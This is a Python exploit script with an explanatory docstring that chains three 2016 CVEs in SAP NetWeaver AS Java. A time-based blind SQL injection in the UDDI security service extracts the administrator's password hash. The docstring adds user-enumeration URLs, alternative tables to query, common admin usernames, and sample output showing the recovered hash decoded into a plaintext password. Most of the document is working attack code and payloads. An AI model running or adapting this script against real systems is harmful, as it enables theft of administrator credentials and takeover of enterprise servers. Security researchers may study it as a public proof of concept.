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体验盒子#!/usr/bin/env python
# coding=utf-8
"""
Author: Vahagn Vardanyan https://twitter.com/vah_13
Bugs:
CVE-2016-2386 SQL injection
CVE-2016-2388 Information disclosure
CVE-2016-1910 Crypto issue
Follow HTTP request is a simple PoC for anon time-based SQL injection (CVE-2016-2386) vulnerability in SAP NetWeaver AS Java UDDI 7.11-7.50
POST /UDDISecurityService/UDDISecurityImplBean HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
SOAPAction:
Content-Type: text/xml;charset=UTF-8
Host: nw74:50000
Content-Length: 500
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:sec="http://sap.com/esi/uddi/ejb/security/">
<soapenv:Header/>
<soapenv:Body>
<sec:deletePermissionById>
<permissionId>1' AND 1=(select COUNT(*) from J2EE_CONFIGENTRY, UME_STRINGS where UME_STRINGS.PID like '%PRIVATE_DATASOURCE.un:Administrator%' and UME_STRINGS.VAL like '%SHA-512%') AND '1'='1</permissionId>
</sec:deletePermissionById>
</soapenv:Body>
</soapenv:Envelope>
In SAP test server I have admin user who login is "Administrator" and so I used this payload
%PRIVATE_DATASOURCE.un:Administrator%
most SAP's using j2ee_admin username for SAP administrator login
%PRIVATE_DATASOURCE.un:j2ee_admin%
You can get all SAP users login using these URLs (CVE-2016-2388 - information disclosure)
1) http:/SAP_IP:SAP_PORT/webdynpro/resources/sap.com/tc~rtc~coll.appl.rtc~wd_chat/Chat#
2) http:/SAP_IP:SAP_PORT/webdynpro/resources/sap.com/tc~rtc~coll.appl.rtc~wd_chat/Messages#
Instead of J2EE_CONFIGENTRY table you can use this tables
UME_STRINGS_PERM
UME_STRINGS_ACTN
BC_DDDBDP
BC_COMPVERS
TC_WDRR_MRO_LUT
TC_WDRR_MRO_FILES
T_CHUNK!!! very big table, if SAP server will not response during 20 seconds then you have SQL injection
T_DOMAIN
T_SESSION
UME_ACL_SUP_PERM
UME_ACL_PERM
UME_ACL_PERM_MEM
An example of a working exploit
C:\Python27\python.exe SQL_injection_CVE-2016-2386.py --host nw74 --port 50000
start to retrieve data from the table UMS_STRINGS from nw74 server using CVE-2016-2386 exploit
this may take a few minutes
Found {SHA-512, 10000, 24}M
Found {SHA-512, 10000, 24}MT
Found {SHA-512, 10000, 24}MTI
Found {SHA-512, 10000, 24}MTIz
Found {SHA-512, 10000, 24}MTIzU
Found {SHA-512, 10000, 24}MTIzUV
Found {SHA-512, 10000, 24}MTIzUVd
Found {SHA-512, 10000, 24}MTIzUVdF
Found {SHA-512, 10000, 24}MTIzUVdFY
Found {SHA-512, 10000, 24}MTIzUVdFYX
Found {SHA-512, 10000, 24}MTIzUVdFYXN
Found {SHA-512, 10000, 24}MTIzUVdFYXNk
Found {SHA-512, 10000, 24}MTIzUVdFYXNk8
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88F
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88Fx
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88Fxu
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88FxuY
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88FxuYC
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88FxuYC6
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88FxuYC6X
And finaly using CVE-2016-1910 (Crypto issue) you can get administrator password in plain text
base64_decode(MTIzUVdFYXNk88FxuYC6X)=123QWEasdóÁq¹ºX
"""
import argparse
import requests
import string
_magic = "{SHA-512, 10000, 24}"
_wrong_magic = "{SHA-511, 10000, 24}"
_xml = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" " \
"xmlns:sec=\"http://sap.com/esi/uddi/ejb/security/\">\r\n<soapenv:Header/>\r\n<soapenv:Body>\r\n" \
"<sec:deletePermissionById>\r\n<permissionId>1' AND 1=(select COUNT(*) from J2EE_CONFIGENTRY, " \
"UME_STRINGS where UME_STRINGS.PID like '%PRIVATE_DATASOURCE.un:Administrator%' and UME_STRINGS.VAL like '%{" \
"0}%') AND '1'='1</permissionId>\r\n</sec:deletePermissionById>\r\n</soapenv:Body>\r\n</soapenv:Envelope> "
host = ""
port = 0
_dictionary = string.digits + string.uppercase + string.lowercase
def _get_timeout(_data):
return requests.post("http://{0}:{1}/UDDISecurityService/UDDISecurityImplBean".format(host, port),
headers={
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 "
"Firefox/57.0",
"SOAPAction": "",
"Content-Type": "text/xml;charset=UTF-8"
},
data=_xml.format(_data)).elapsed.total_seconds()
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('--host')
parser.add_argument('--port')
parser.add_argument('-v')
args = parser.parse_args()
args_dict = vars(args)
host = args_dict['host']
port = args_dict['port']
print "start to retrieve data from the table UMS_STRINGS from {0} server using CVE-2016-2386 exploit ".format(host)
_hash = _magic
print "this may take a few minutes"
for i in range(24):# you can change it if like to get full hash
for _char in _dictionary:
if not (args_dict['v'] is None):
print "checking {0}".format(_hash + _char)
if _get_timeout(_hash + _char) > 1.300:# timeout for local SAP server
_hash += _char
print "Found " + _hash
break
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